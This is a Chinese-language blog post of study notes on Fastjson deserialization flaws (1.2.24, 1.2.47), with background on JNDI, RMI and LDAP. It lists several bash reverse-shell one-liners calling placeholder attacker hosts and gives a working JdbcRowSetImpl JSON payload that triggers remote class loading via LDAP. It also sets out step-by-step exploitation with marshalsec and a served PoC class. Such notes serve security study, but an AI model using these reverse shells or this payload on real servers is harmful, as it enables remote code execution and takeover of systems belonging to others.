fastjson

fastjson知识点

简介

Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。(Alibaba出)

相关知识

JNDI

Java Name Directory Interface,Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API,也称为一种绑定。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

- JNDI Reference 配合 RMI
- JNDI Reference 配合 LDAP

RMI

RMI(Remote Method Invocation,远程方法调用)。远程方法调用是分布式编程中的一个基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议

LDAP

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

反弹shell

- 命令

  - bash -i >& /dev/tcp/X.X.X.X/443 0>&1


exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0


0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196


0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196


exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444


cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done


/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1

相关漏洞

Fastjson 1.2.24远程代码执行漏洞(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)

  • 原理

    • 漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,服务器接收到危险类执行其中恶意代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。
  • 利用链分析

  • 影响范围

    • Fastjson < 1.2.25
  • 利用

Fastjson 1.2.47 远程命令执行漏洞

  • 影响范围

    • fastjson<=1.2.47

常见问题

dnslog有回显,但fastjson无法利用成功

  • fastjson>=1.2.25默认为false,autotype = false,JdbcRowSetImpl 利用链无法利用成功,

  • {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.28.70:9999/Poc","autoCommit":true}}

    • @type:目标反序列化类名;
      dataSourceName:RMI注册中心绑定恶意服务;
      autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法。
    • JdbcRowSetImpl的利用链在实际运用中较为广泛,这个链基本没啥限制条件,只需要Json.parse(input)即可进行命令执行。
  • 参考文献

漏洞利用

利用步骤

  • LDAP

    • 编译好java文件,且提供web服务

      • javac poc2.java
      • python -m http.server 2222
    • 启动LDAP服务端

    • 发送payload,目标触发

  • RMI

    • 编译好java文件,且提供web服务

      • javac poc2.java
      • python -m http.server 2222
    • 启动RMI服务端

    • 发送payload,目标触发

  • RMI利用的JDK版本≤JDK 6u141, JDK 7u131, JDK 8u121

    • jdk8u122后增加了反序列化白名单限制,关闭了rmi远程加载代码
  • LADP利用JDK版本≤ JDK 11.0.1、8u182、7u191、6u201

    • java8u191关闭了JNDI远程类加载

参考文献

利用工具

jndi_tool

marshalsec-0.0.3-SNAPSHOT-all

参考文献

https://github.com/safe6Sec/Fastjson

https://baijiahao.baidu.com/s?id=1704610020958293023&wfr=spider&for=pc

https://developer.aliyun.com/article/676234/

https://paper.seebug.org/636/?spm=a2c6h.12873639.article-detail.5.7ce31691j0SvbR

https://www.cnblogs.com/hac425/p/9800288.html

https://zhuanlan.zhihu.com/p/417129061

https://www.cnblogs.com/nice0e3/p/14776043.html

posted @ 2023-04-08 01:45  Alrights  阅读(3)  评论(0)    收藏  举报